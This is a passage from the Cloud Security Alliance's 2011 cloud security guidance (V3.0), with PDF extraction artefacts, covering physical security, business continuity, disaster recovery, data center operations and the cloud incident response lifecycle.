(including competitors), p hysical security assumes greater significance. Physical Security is one of many interconnected lines of defense against intruders and corporate saboteurs who may want access to a CSP’s facility for nefarious purposes. 7.4 Business Continuity Traditionally, the three tenets of information security are confidentiality, integrity, and availability. Business Continuit y deals with the continuity component of those three requirements. The transition to a Cloud Service Provider includes an assessme nt of the uptime the provider contractually commits to. However, thi s Service Level Agreement (SLA) may not be enough to satisfy the customer. Consideration should be made to the potential impact should a significant outage occur. Based on recent high p rofile service disruptions into third party provisioned services, the authors would suggest that maintaining continuity of service is a critical dependency on the business to maintain operations. The following guidelines should be considered with regard to maintaining the continuity of a given service. Although many of these guidelines will likely apply for internally provisioned services as they would for third party provisioned services (e.g. Cloud), these guidelines are written with the pretext that the responsibility rests with the third party. 7.5 Disaster Recovery One of the most interesting aspects of cloud storage for IT is how it can be leveraged for backup and disaster recovery (DR). Cloud backup and DR services are targeted at reducing the co st of infrastructure, applications, and overall business processes. Cloud backup and DR must aim to make reliable data protection affordable and easy to manage. The challenges to cloud storage, cloud backup, and DR in particular involve mobility, information transfer to and from the cloud, availability, assuring optimal business continuity, scalability and metered payment. Cloud disaster recovery solutions are built on the foundation of three fundamentals: a fully virtualized storage infrastructure, a sc alable file system and a compelling self- service disaster recovery application that responds to customers’ urgent business requirements. Customers transitioning disaster recovery operations to the cloud should review the existence of the following organizations or teams within the service provider’s disaster recovery program:  Emergency Response Team (ERT)  Crisis Management Team  Incident response team The composition of the above teams should be reviewed in detail along with crisis communication procedure. 7.5.1 Restoration Priorities Review the service providers documented restoration plan: This plan should include details on the priorities regarding restoration sequencing. This should correlate directly with the SLA, as contractually committed, with regards to the SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 85 services acquired by the customer and the criticality of the service. The Restoration plan should incorporate and quantify the RPO40 (Recovery Point Objective) and RTO41 (Recovery Time Objective) for services. Detail the Information security controls that are considered and implemented during the restoration process, which should include as an example:  Clearances of staff involved during the restoration process  Physical security controls implemented at alternate site  Specified dependencies rel evant to the restoration process (suppliers and outsource partners)  Minimum separation for the location of the secondary site if the primary site is made unavailable 7.6 Permissions  Ensure proper facility design.  Adopt integrated physical and logical se curity systems that reinforce one another.  Establish service level agreements that require the inheritance of employment security obligations and responsibilities by later levels of the supply chain. 7.7 Recommendations 7.7.1 Policy Recommendations o Cloud providers should consider adopting as a security baseline the most stringent requirements of any customer, such that systems, facilities, and procedures are at a system high level. To the extent these security practices do not negatively impact the customer experience, stringent security practices should prove to be cost effective and quantified by reducing risk to personnel, revenue, reputation, and shareholder value. o Alternately, providers may target a set of users with lower security requirements, or offer a baseline level to all customers with the potential to up -sell and implement additional measures for those who value them. In the latter case, it should be recognized that some customers will be interested only in providers that deliver uniform ly high security. This balancing act includes systems, facilities, and documented procedures. o Providers should have robust compartmentalization of job duties, perform background checks, require and enforce non -disclosure agreements for employees, and res trict employee knowledge of customers to a least privilege, need to know basis. 40 RPO - Recovery Point Objective 41 RTO - Recovery Time Objective SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 86 7.7.2 Transparency Recommendations o Transparency regarding the security posture of the CSP should be required. Onsite visit to the CSP’s facility or data center will help in performing an on -the-spot assessment and gaining a clear understanding of the different security measures that have been put in place. However, due to the on -demand provisioning and multi -tenant aspects of cloud computing, traditional forms of audit and assessment may not be available, or may be modified (e.g., shared access to a third -party inspection). o To enhance effectiveness of the onsite assessment, the visit to the CSP facility or data center should be carried out unannounced (if need be with the CS P being informed about a broad time window rather than specific times). This will enable to have real assessment on the ground on a normal business day instead of giving an opportunity to the CSP to ‘keep up appearances’ during a client or third -party vis it. o When direct examination is pursued, the assessment team should comprise at least two members or more with specialists drawn from IT, Information Security, Business Continuity, Physical Security, and Management (e.g., department heads or data owners) f unctions. o Customers should request and acquire business continuity planning and disaster recovery documentation prior to visit, including relevant certifications (e.g., based on ISO, ITIL42 standards), and audit reports and test protocols. 7.7.3 Human Res ources Recommendations o Consumers should check to see if the CSP deploys competent security personnel for its physical security function. A dedicated security manager is highly recommended to provide the necessary leadership and drive to the physical secur ity program. Leading industry certifications such as CISA43, CISSP44, CISM45, ITIL, or CPP46 (from ASIS47) would be helpful in validating the incumbent’s knowledge and skills in physical security. o Consumers should request a thorough review of the reporting structure of the security manager. This will help in determining whether the position has been given due significance and responsibilities. The security manager should report to a functional superior and his/her GRC Committee if one exists. They should not report to Facilities or IT. It would be better if this position reports to the CEO through another chain (e.g., through the CRO or head counsel) in terms of independence and objectivity of the position. 7.7.4 Business Continuity Recommendations o The customer should review the contract of third party commitments to maintain continuity of the provisioned service. However, the customer should strongly consider further analysis. Typically the customer acts as the Data Controller and where personal data is held, there are likely to be specific regulatory requirements to 42 ITIL - Information Technology Infrastructure Library 43 CISA - Certified Information Security Auditor 44 CISSP - Certified Information System Security Professional 45 CISM - Certified Information Security Manager 46 CPP - Certified Privacy Professional 47 ASIS - American Society for Industrial Security SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 87 ensure appropriate controls are employed. Such requirements apply even in the event that a third party data processor is utilized. o The customer should review the third party Business Co ntinuity processes and any particular certification. For example, the CSP may adhere and certify against BS 25999, the British S tandard for Business Continuity Management (BCM). The customer may wish to review the scope of the certification and documented details of the assessment. o The customer should conduct an onsite assessment of the CSP facility to confirm and verify the asserted controls used to maintain the continuity of the service. It may not be entirely necessary to conduct this unannounced assessment of the CSP facility for the sole purpose of verifying specific BCP controls, as typically such controls are only likely to be engaged when a disaster/event were to occur. o The customer should ensure that he/she receives confirmation of any BCP/DR t ests undertaken by the CSP. While many of the recommendations already mentioned focus on documented assertions that the service will maintain continuity, the true test of these is in the event of a significant incident. Without awaiting an actual disaste r to occur, the customer should stress the importance of getting formal confirmation of BCP/DR tests, and whether the tests satisfied the SLAs contractually committed. 7.7.5 Disaster Recovery Recommendations o Cloud customers should not depend on a singula r provider of services and should have a disaster recovery plan in place that facilitates migration or failover should a supplier fail. o IaaS providers should have contractual agreements with multiple platform providers and have the tools in place to rapidly restore systems in the event of loss. o Data validation should be an automated or user initiated validation protocol that allows the customer to check their data at any time to ensure the data’s integrity. o Incremental backups should frequently update a rep lica of all protected systems or snapshots at intervals set by the user for each system, so the consumer determines the settings according to recovery point objectives. o Full site, system, disk, and file recovery should be accessible via a user- driven, self -service portal that allows the user the flexibility to choose which file disk or system they want to recover. o The cloud provider should implement fast SLA -based data recovery. o The SLA should be negotiated up front, and the customer should pay for the SLA required to ensure that there is no conflict of interest. No data, no file or system disk, should take more than 30 minutes to recover. o WAN optimization between the customer and the physical site should be in place so that the cloud enables full data mob ility at reduced bandwidth, storage utilization, and cost. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 88 7.8 Requirements  All parties must ensure proper structural design for physical security.  All supply chain participants must respect the interdependency of deterrent, detective, and authenticatio n solutions.  End consumers must inspect, account for, and fix personnel risks inherited from other members of the cloud supply chain. They must also design and implement active measures to mitigate and contain personnel risks through proper separation of duties and least privilege access. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 89 DOMAIN 8 // DATA CENTER OPERATIONS In order for Cloud Computing to evolve, the provider must advance the enterprise data center beyond simply using virtualization to manage server assets. In order to enable business ag ility, green technology, provider openness, increasingly unique ideas in power generation and data center construction and management, the data center has to morph for long- term cloud success. The “Next Generation Data Center”, a term that has been around for several years, has grown into data center operations that includes business intelligence adaptation within the data center, understanding the applications running in the data center, and the requirement of hosting large scale analytical clusters are ev olving as well. The data center is not a standalone entity but an entity that needs to be as agile as the application and also be connected to other data centers so that latency is managed as well as security. Overview. This domain will address the following topics :  Physical security considerations as related in the CCM  Automated data center use case mapping  The new dat a center? Cloud computing at h ome  Cloud infrastructure dissemination and the data center 8.1 Data Center Operations New concepts in this section:  Cloud Application Mission. The industry or application mission housed within the data center. For example, a health care or e -commerce application mission.  Data Center Dissemination. Cloud infrastructures that operate together but are in physically separate physical locations. Service based automation and predictive analytics to enable service -based automation have been long represented by Information Technology Service Management48 (ITSM) using Information Technology Infrastructure Library49 (ITIL) standards for data center evolution. Different types of applications housed by data centers require automation. Those who operate the data center benefit greatly by un derstanding what is running inside it and how the data center as a whole needs to respond to varying use. 48 ITSM - Information Technology Service Management 49 ITIL - Information Technology Infrastructure Library CCM considerations and how new ideas in cloud data center affect each other SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 90 The Cloud Security Alliance’s Cloud Controls Matrix has a number of physical requirements based upon different standards and regulatory requirements. The physical security domain in this version of guidance and the Cloud Controls Matrix should be read by the data center professional to get an understanding of requirements inside and outside the data center. For reference, the following table illustrat es data center controls needed based upon the mission of the applications housed within the data center. The table is not all- inclusive but provides some examples cross -referencing a Cloud Control Matrix control and specification to an application type or mission. Table 1 — Application Mission by Control APPLICATION MISSION CONTROL SPECIFICATION Health Care (HIPAA50) Facility Security - Security Policy Policies and procedures shall be established for maintaining a safe and secure working environment in offices, rooms, facilities and secure areas. Card Processing/Payment (PCI51) Facility Security - User Access Physical access to information assets and functions by users and support personnel shall be restricted. Power Generation (NERC CIP52) Facility Security - Controlled Access Points Physical security perimeters (fences, walls, barriers, guards, gates, electronic surveillance, physical authentication mechanisms, reception desks and security patrols) shall be implemented to safeguard sensitive data an d information systems. The list above is not meant to be exhaustive in this chapter. The reader can look at the matrix and based upon the standards the organization wants to abide by or which regulations the organization must adhere to can be seen there. An application running in the data center that contains regulated information (governed under an information security or application security standard) will be audited. The result of the physical audit findings undertaken by the data center operator can then be published to the customers of the data center operator or included in an application query infrastructure such as that provided by Cloud Audit. In past versions of the Guidance, the reader was instructed to conduct their own audits. For many data center operators or cloud providers this might not be physically possible. In multi -tenant environments the operator or provider cannot normally accommodate visits by every customer to conduct an audit. The customer should require the operator or provide r to provide independent audit results. This idea brings in service automation. By automating reporting, logging, and the publication of audit results the data center operator can provide their customer with evidence that, based upon the application missi on, the data center 50 HIPAA - Healthcare Information Portability and Protection Act 51 PCI - Payment Card Industry. Specifically PCI DSS, which is Data Security Standard 52 NERC CIP - North American Electric Reliability Corporation Critical Infrastructure Protection SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 91 specific controls are in place and satisfactory. Cloud Audit, Cloud Trust Protocol, and CYBEX (X.1500) can automate the publication of audit findings through a common accessible interface. Further automation in the data center relies o n the library that contains the assets being housed with the data center. By understanding how the assets in the library use resources in the data center, the operations management can predict which tenants are using resources. If the data center uses co ncepts such as PoD’s53 and virtual data center VMDC54 then the data center is as agile as it can be promoting the cloud or virtualized business quickly. 8.1.1 New and Emerging Models Recently (Summer 2011) there was more news about home- based cloud platforms. In these types of infrastructures modeled after SETI@home55, a cloud is based on the compute assets of volunteers exposing their home/office computers to support other application s. The data centers in these cases are the homes of each of the volunteers. These types of clouds would work well as community -based application hosting environments, but not regulated environments where standards are audited. For example, if a cloud is hosted on 100,000 home computers there would be no way to audit a data center that is effectively cut up into 100,000 pieces and scattered across a large geographical area. This type of infrastructure would host a community based set of applications based upon interest (book club for example) or a residential web site. The cloud is increasingly being viewed as a commodity or as a utility. There are efforts in the industry to create Security as a Service or create broker infrastructures for identity, intero perability, and business continuity amongst other reasons. The application then is being pulled apart and placed into specialized physical environments that focus on specific needs of an organization or the applications they run. Data center dissemination takes the application and places it across many other specialized data centers that house and manage specific needs. By disseminating the application across physical boundaries the application is less burdened in the cloud but harder to control and manage. 8.2 Permissions  Dissemination of data center collaboration. Data center automation having to span multiple physical unrelated data centers will need software to orchestrate what the data center needs for logging and report generation during audits.  Home based clouds where the data center is personal. Auditing for standards and compliance are near impossible in home based clouds. Regulated environments and standards based environments will have difficulty with home -based clouds based on the controls needed. There may be aspects to an application where some part of the application can be disseminated to home -based infrastructure. 53 PoD - Point of Delivery. A rack -able aggregated set o f power, compute, storage access, and network components contained in a single unit 54 VMDC - Virtual Multi -tenant Data Center. A concept using modular, easily rack -able components to quickly expand a data center such as PoD’s 55 SETI@home - http://setiathome.berkeley.edu/ SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 92 8.3 Recommendations o Organizations building cloud data centers should incorporate management processes, practices, and s oftware to understand and react to technology running inside the data center. o Organizations buying cloud services should ensure that the provider has adopted service management processes and practices to run their data centers and have adopted racking tech niques that ensure agile and highly available resources inside the data center. o Understand the mission of what is running in the data center. Given the controls in the Cloud Control Matrix the data center being built or purchased must conform to physical a nd asset security requirements. o Data center locations are important. If technology and application components are spread across data centers, then there will be latency between the data centers. o Organizations buying cloud services must clearly understan d and document which parties are responsible for meeting compliance requirements, and the roles they and their cloud provider when assessing compliance. 8.4 Requirements The Cloud Security Alliance has many sources of information to help with the con struction or remodeling of data centers for the cloud. The controls matrix highlights requirements across a very broad set of security standards and regulations. Cloud Audit and other projects within the CSA also can help with construction and management of data centers and the technology running within them.  Fully understand Control Matrix requirements based upon what is going to run in the data center. Use a common denominator that satisfies most application missions.  Use IT service management techni ques to ensure availability, security, and asset delivery and management.  If the data center is owned by a provider, audit against a regulatory and security standard template and publish results to the customer. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 93 DOMAIN 9 // INCIDENT RESPONSE Incident Response (IR) is one of the cornerstones of information security management. Even the most diligent planning, implementation, and execution of preventive security controls cannot completely eliminate the possibility of an attack on the informatio n assets. One of the central questions for organizations moving into the cloud must therefore be: what must be done to enable efficient and effective handling of security incidents that involve resources in the cloud? Cloud computing does not necessitate a new conceptual framework for Incident Response; rather it requires that the organization appropriately maps its extant IR programs, processes, and tools to the specific operating environment it embraces. This is consistent with the guidance found throu ghout this document; a gap analysis of the controls that encompass organizations’ IR function should be carried out in a similar fashion. This domain seeks to identify those gaps pertinent to IR that are created by the unique characteristics of cloud comp uting. Security professionals may use this as a reference when developing response plans and conducting other activities during the preparation phase of the IR lifecycle. To understand the challenges cloud computing poses to incident handling, we must ex amine, which challenges the special characteristics of cloud computing and the various deployment and service models pose for incident handling. This domain is organized in accord with the commonly accepted Incident Response Lifecycle as described in the National Institute of Standards and Technology Computer Security Incident Handling Guide (NIST 800 -61) [1]. After establishing the characteristics of cloud computing that impact IR most directly, each subsequent section addresses a phase of the lifecycle and explores the potential considerations for responders. Overview. This domain will address the following topics :  Cloud computing impact on Incident Response  Incident Response Lifecycle  Forensic accountability 9.1 Cloud Computing Characteristics that Impact Incident Response Although cloud computing brings change on many levels, certain characteristics [2] of cloud computing bear more direct challenges to IR activities than others [3]. First, the on demand self -service nature of cloud computing en vironments means that a cloud customer may find it hard or even impossible to receive the required co -operation from their cloud service provider ( CSP)56 when handling a security incident. Depending on the service and deployment models used, interaction wi th the IR function at the CSP 56 CSP - Cloud Service Provider SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 94 will vary. Indeed, the extent to which security incident detection, analysis, containment, and recovery capabilities have been engineered into the service offering are key questions for provider and customer to address. Second, the resource pooling practiced by cloud services, in addition to the rapid elasticity offered by cloud infrastructures, may dramatically complicate the IR process, especially the forensic activities carried out as part of the incident analysis. Forensics has to be carried out in a highly dynamic environment, which challenges basic forensic necessities [4] such as establishing the scope of an incident, the collection and attribution of data, preserving the semantic integrity of that data, and maintaining the stability of evidence overall. These problems are exacerbated when cloud customers attempt to carry out forensic activities, since they operate in a non -transparent environment (which underscores the necessity of support by the cloud provider as ment ioned above). Third, resource pooling as practiced by cloud services causes privacy concerns for co -tenants regarding the collection and analysis of telemetry and artifacts associated with an incident (e.g. logging, netflow data, memory, machine images, and storage, etc.) without compromising the privacy of co -tenants. This is a technical challenge that must be addressed primarily by the provider. It is up to the cloud customers to ensure that their cloud service provider has appropriate collection and dat a separation steps and can provide the requisite incident -handling support. Fourth, despite not being described as an essential cloud characteristic, cloud computing may lead to data crossing geographic or jurisdictional boundaries without the explicit kn owledge of this fact by the cloud customer. The ensuing legal and regulatory implications may adversely affect the incident handling process by placing limitations on what may or may not be done and/or prescribing what must or must not be done during an i ncident across all phases of the lifecycle [5]. It is advisable that an organization includes representatives from its legal department on the Incident Response team to provide guidance on these issues. Cloud computing also presents opportunities for incident responders. Cloud continuous monitoring systems can reduce the time it takes to undertake an incident handling exercise or deliver an enhanced response to an incident. Virtualization technologies, and the elasticity inherent in cloud computing platforms, may allow for more efficient and effective containment and recovery, often with less service interruption than might typically be experienced with more traditional data center technologies. Also, investigation of incidents may be easier in som e respects, as virtual machines can easily be moved into lab environments where runtime analysis can be conducted and forensic images taken and examined. 9.2 The Cloud Architecture Security Model as a Reference To a great extent, deployment and service models dictate the division of labor when it comes to IR in the cloud ecosystem. Using the architectural framework and security controls review advocated in Domain 1 (see Cloud Reference Model Figure 1.5.2a) can be valuable in identifying what technical and process components are owned by which organization and at which level of the “stack.” Cloud service models (IaaS, PaaS, SaaS) differ appreciably in the amount of visibility and control a customer has to the underlying IT systems and other infrastructure that deliver the computing environment. This has implications for all phases of Incident Response as it does with all other domains in this guidance document. For instance, in a SaaS solution, response activities will likely reside almost entirely wit h the CSP, whereas in IaaS, a greater degree of responsibility and capability for detecting and responding to security incidents may reside with the SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 95 customer. However, even in IaaS there are significant dependencies on the CSP. Data from physical hosts, network devices, shared services, security devices like firewalls and any management backplane systems must be delivered by the CSP. Some providers are already provisioning the capability to deliver this telemetry to their customers and managed security s ervice providers are advertising cloud -based solutions to receive and process this data. Given the complexities, the Security Control Model described in Domain 1 (Figure 1.5.1c), and the activities an organization performs to map security controls to your particular cloud deployment should inform IR planning and vice versa. Traditionally, controls for IR have concerned themselves more narrowly with higher- level organizational requirements; however, security professionals must take a more holistic view in o rder to be truly effective. Those responsible for IR should be fully integrated into the selection, purchase, and deployment of any technical security control that may directly, or even indirectly, affect response. At a minimum, this process may help in mapping of roles/responsibilities during each phase of the IR lifecycle. Cloud deployment models (public, private, hybrid, community) are also considerations when reviewing IR capabilities in a cloud deployment; the ease of gaining access to IR data varies for each deployment model. It should be self -evident that the same continuum of control/responsibility exists here as well. In this domain, the primary concern is with the more public end of the continuum. The authors assume that the more private the c loud, the more control the user will have to develop the appropriate security controls or have those controls delivered by a provider to the user’s satisfaction. 9.3 Incident Response Lifecycle Examined NIST 800 -61 [1] describes the following main stages of the IR lifecycle: preparation; detection & analysis; containment, eradication & recovery. This section examines the specific challenges of cloud computing for these stages and provides recommendations as to how these challenges can be met. 9.3.1 Preparation Preparation may be the most important phase in the Incident Response Lifecycle when information assets are deployed to the cloud. Identifying the challenges (and opportunities) for IR should be a formal project undertaken by information securi ty professionals within the cloud customer’s organization prior to migration to the cloud. If the level of IR expertise within the organization is deemed insufficient, experienced external parties should be consulted. This exercise should be undertaken d uring every refresh of the enterprise Incident Response Plan. In each lifecycle phase discussed below, the questions raised and suggestions provided can serve to inform the customer’s planning process. Integrating the concepts discussed into a formally documented plan should serve to drive the right activities to remediate any gaps and take advantage of any opportunities. Preparation begins with a clear understanding and full accounting of where the customer’s data resides in motion and at rest. Given that the customer's information assets may traverse organizational, and likely, geographic boundaries necessitates threat modeling on both the physical and logical planes. Data Flow diagrams that map to physical assets, and map organizational, network, and jurisdictional boundaries may serve to highlight any dependencies that could arise during a response. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 96 Since multiple organizations are now involved, Service Level Agreements ( SLA)57 and contracts between the parties now become the primary means of comm unicating and enforcing expectations for responsibilities in each phase of the IR lifecycle. It is advisable to share IR plans with the other parties and to precisely define and clarify shared or unclear terminology. When possible, any ambiguities should be cleared up in advance of an incident. It is unreasonable to expect CSP’s to create separate IR plans for each customer. However, the existence of some (or all) of the following points in a contract/SLA should give the customer organization some confidence that its provider has done some advanced planning for Incident Response:  Points of Contact, communication channels, and availability of IR teams for each party  Incident definitions and notification criteria, both from provider to customer as well as to any external parties  CSP’s support to customer for incident detection (e.g., available event data, notification about suspicious events, etc.)  Definition of roles/responsibilities during a security incident, explicitly specifying support for incident handling provided by the CSP (e.g., forensic support via collection of incident data/artifacts, participation/support in incident analysis, etc.)  Specification of regular IR testing carried out by the parties to the contract and whether results will be shared  Scope of post -mortem activities (e.g, root cause analysis, IR report, integration of lessons learned into security management, etc.)  Clear identification of responsibilities around IR between provider and consumer as part of SLA Once the roles and responsibilities have been determined, the customer can now properly resource, train, and equip its Incident Responders to handle the tasks that they will have direct responsibility for. For example, if a customer- controlled application resides in a PaaS model and the cloud provider has agreed to provide (or allow retrieval of) platform -specific logging, having the technologies/tools and personnel available to receive, process, and analyze those types of logs is an obvious need. For IaaS and PaaS, aptitud e with virtualization and the means to conduct forensics and other investigation on virtual machines will be integral to any response effort. A decision about whether the particular expertise required is organic to the customer organization or is outsourced to a Third Party is something to be determined during the preparation phase. Please note that outsourcing then prompts another set of contracts/ NDA’s58 to manage. Between all involved parties, communication channels must be prepared. Parties should consider the means by which sensitive information is transmitted between parties to ensure that out- of-band channels are available and that encryption schemes are used to ensure integrity and authenticity of information. Communication during IR can be facilitated by utilizing existing standards for the purpose of sharing indicators of compromise or to actively engage another party in an investigation. For example, the Incident Object Description Exchange Format ( IODEF )59 [6] as well as the associated Real- time Inter -network Defense ( RID)60 standard [7,8] were developed in the Internet Engineering Task 57 SLA - Service Level Agreements 58 NDA - Non -Disclosure Agreement 59 IODEF - Incident Object Description Exchange Format 60 RID - Real -time Inter -network Defense SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 97 Force ( IETF )61 and are also incorporated in the International Telecommunication Union’s ( ITU)62 Cybersecurity Exchange (CYBEX )63 project. IODEF provides a standa rd XML schema used to describe an incident, RID describes a standard method to communicate the incident information between entities, which includes, at least, a CSP and tenant. The most important part of preparing for an incident is testing the plan. Tes ts should be thorough and mobilize all the parties who are likely going to be involved during a true incident. It is unlikely that a CSP has resources to participate in tests with each of its customers; the customer should therefore consider role- playing as a means to identify which tasking or requests for information are likely to be directed at the CSP. This information should be used to inform future discussions with the provider while in the preparation phase. Another possibility is for the custome r to volunteer to participate in any testing the CSP may have planned. 9.3.2 Detection and Analysis Timely detection of security incidents and successful subsequent analysis of the incident (what has happened, how did it happen, which resources are aff ected, etc.) depend on the availability of the relevant data and the ability to correctly interpret that data. As outlined above, cloud computing provides challenges in both cases. Firstly, availability of data to a large extent depends on what the cloud provider supplies to the customer and may be limited by the highly dynamic nature of cloud computing. Secondly, analysis is complicated by the fact that the analysis at least partly concerns non - transparent, provider- owned infrastructure, of which the cu stomer usually has little knowledge and – again – by the dynamic nature of cloud computing, through which the interpretation of data becomes hard, sometimes even impossible. Putting aside the technical challenges of incident analysis for a moment , the ques tion on how a digital investigation in the cloud should be conducted in order to maximize the probative value (i.e. credibility) of the evidence at the time of writing remains largely unanswered. Hence, until legal cases involving cloud incidents have bec ome more common place and commonly accepted best practice guidelines exist, analysis results for cloud security incidents incur the risk of not standing up in court. Until standards, methods, and tools for detecting and analyzing security incidents have caught up with the technical developments introduced by cloud computing, incident detection and analysis will remain especially challenging for cloud environments. Clo ud customers must rise to this challenge by making sure that they have access to (1) the data sources and information that are relevant for incident detection/analysis as well as (2) appropriate forensic support for incident analysis in the cloud environme nt(s) they are using. 9.3.3 Data Sources As in any hosted IT service integration, the IR team will need to determine the appropriate logging required to adequately detect anomalous events and identify malicious activity that would affect their ass ets. It is imperative for the customer organization to conduct an assessment of what logs (and other data) are available, how they are collected and processed, and finally, how and when they may be delivered by the CSP. 61 IETF - Internet Engineering Task Force 62 ITU - International Telecommunication Union’s 63 CYBEX - Cybersecurity Exchange SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 98 The main data source for the detection and subsequent analysis of incidents on the customer side, is logging information. The following issues regarding logging information must be taken into consideration:  Which information should be logged? Examples of log types that may be relevant ar e audit logs (e.g. network, system, application, and cloud administration roles and accesses, backup and restore activities, maintenance access, and change management activity), error logs (e.g., kernel messages of hypervisors, operating systems, applications, etc.), security -specific logs (e.g., IDS logs, firewall logs, etc.), performance logs, etc. Where existing logging information is not sufficient, additional log sources have to be negotiated/added.  Is the logged information consistent and complete? A prime example of inconsistent source logging information is failure to synchronize clocks of log sources. Similarly, incomplete information regarding the time zone in which the timestamps in logs are recorded makes it impossible to accurately interpret the collected data during analysis.  Is the cloud’s dynamic nature adequately reflected in the logged information? The dynamic behavior of cloud environments also is a frequent reason for inconsistent and/or incomplete logging. For example, as new cloud resources (VM’s, etc.) are brought online to service demand, the log information produced by the new resource instance will need to be added to the stream of log data. Another likely problem is the failure to make dynamic changes in the environment explic it in the log information. For example, consider the case that web service requests to a certain PaaS component are logged, but may be serviced dynamically by one of various instances of this service. Incomplete information regarding the question, which instance served which request, may then make proper analysis hard or impossible, e.g., if the root cause of an incident is a single compromised instance.  Are overall legal requirements met? Privacy issues regarding co -tenants, regulation regarding log data in general and personally identifiable information in particular, etc., may place limitations on the collection, storage, and usage of collected log data. These regulatory issues must be understood and addressed for each jurisdiction where the company’ s data is processed or stored.  What log retention patterns are required? Legal and compliance requirements will direct specific log retention patterns. Cloud customers should understand and define any extended log retention patterns to meet their need o ver time to support their requirements for incident analysis/forensics.  Are the logs tamper -resistant? Ensuring that logs are in tamper resistant stores is critical for accurate legal and forensic analysis. Consider the use of write -once devices, separation of servers used to storage logs from application servers and access controls to servers storing lo gs as critical aspects of this requirement.  In which format is logging information communicated? Normalization of logging data is a considerable challenge. The use of open formats (such as the emerging CEE [9]) may ease processing at the customer side. The cloud provider can only detect some incidents because such incidents occur within the infrastructure owned by the cloud provider. It is important to note that the SLA’s must be such that the cloud provider informs cloud customers in a timely and reliab le manner to allow for agreed IR to occur. For other incidents (perhaps even detectable by the customer) the cloud provider may be in a better position for detection. Cloud customers should select cloud providers that optimally assist in the detection of incidents by correlating and filtering available log data. The amount of data produced from the cloud deployment may be considerable. It may be necessary to investigate cloud provider options regarding log filtering options from within the cloud service before it is sent to the customer to reduce network and customer internal processing impacts. Additional considerations include the level of analysis or correlation performed by the CSP and the cloud tenant to identify possible incidents prior to forensics . If analysis is performed at the CSP, the escalation and hand -off points for the incident investigation must be determined. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 99 9.3.4 Forensic and Other Investigative Support for Incident Analysis Although still immature, efforts are already underway within the forensic community to develop the tools and protocols to collect and examine forensic artifacts derived especially from virtualized environments; also, forensic support required for PaaS and SaaS environments is subject to ongoing research. It is important that the customer understands the forensic requirements for conducting incident analysis, researches to what extent CSP’s meet these requirements, chooses a CSP accordingly, and addresses any remaining gaps. The amount of potential evidence av ailable to a cloud customer strongly diverges between the different cloud service and deployment models. For IaaS services, customers can execute forensic investigations of their own virtual instances but will not be able to investigate network components controlled by the CSP. Furthermore, standard forensic activities such as the investigation of network traffic in general, access to snapshots of memory, or the creation of a hard disk image require investigative support to be provided by the CSP. Also ad vanced forensic techniques enabled by virtualization such as generating snapshots of virtual machine states or VM introspection on live systems require forensic support by the CSP. With PaaS and SaaS security incidents that have their root cause in the und erlying infrastructure, the cloud customer is almost completely reliant on analysis support of the CSP, and as mentioned previously, roles and responsibilities in IR must be agreed upon in the SLAs. With PaaS, the customer organization will be responsible for any application layer code that is deployed to the cloud. Sufficient application logging is required for incident analysis in scenarios where the root cause lies within the application (e.g., a flaw in the application code). In this case, support by the CSP could take the form of facilitating application log generation, secure storage, and secure access via a read -only API [10]. SaaS providers that generate extensive customer -specific application logs and provide secure storage as well as analysis fa cilities will ease the IR burden on the customer. This may reduce application level incidents considerably. Providers that use their management backplane/systems to scope an incident and identify the parts of a system that have been under attack or are u nder attack, and provide that data to the cloud customer, will greatly enhance the response in all service models. To prepare for incident analysis in a given cloud environment, the customer’s IR team should familiarize themselves with information tools t he cloud vendor provides to assist the operations and IR processes of their customer. Knowledge base articles, FAQs, incident diagnosis matrices, etc. can help fill the experience gap a cloud customer will have with regard to the cloud infrastructure and its operating norms. This information may, for example, assist the IR team in discriminating operational issues from true security events and incidents. 9.3.5 Containment, Eradication, and Recovery As with the other phases of Incident Response, close coordination with all stakeholders is required to ensure that strategies developed to contain, eradicate, and recover from an incident are effective, efficient, and take into consideration all legal and privacy implications. The strategies must be also co nsistent with business goals and seek to minimize disruption to service. This is considerably more challenging when multiple organizations are involved in the response, as is the case with cloud computing. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 100 Options for this phase will differ depending up on the deployment and service model, and also the layer of the stack at which the attack was targeted. There may be multiple strategies that can be employed, possibly by different entities equipped with different technological solutions. If at all possib le, thought 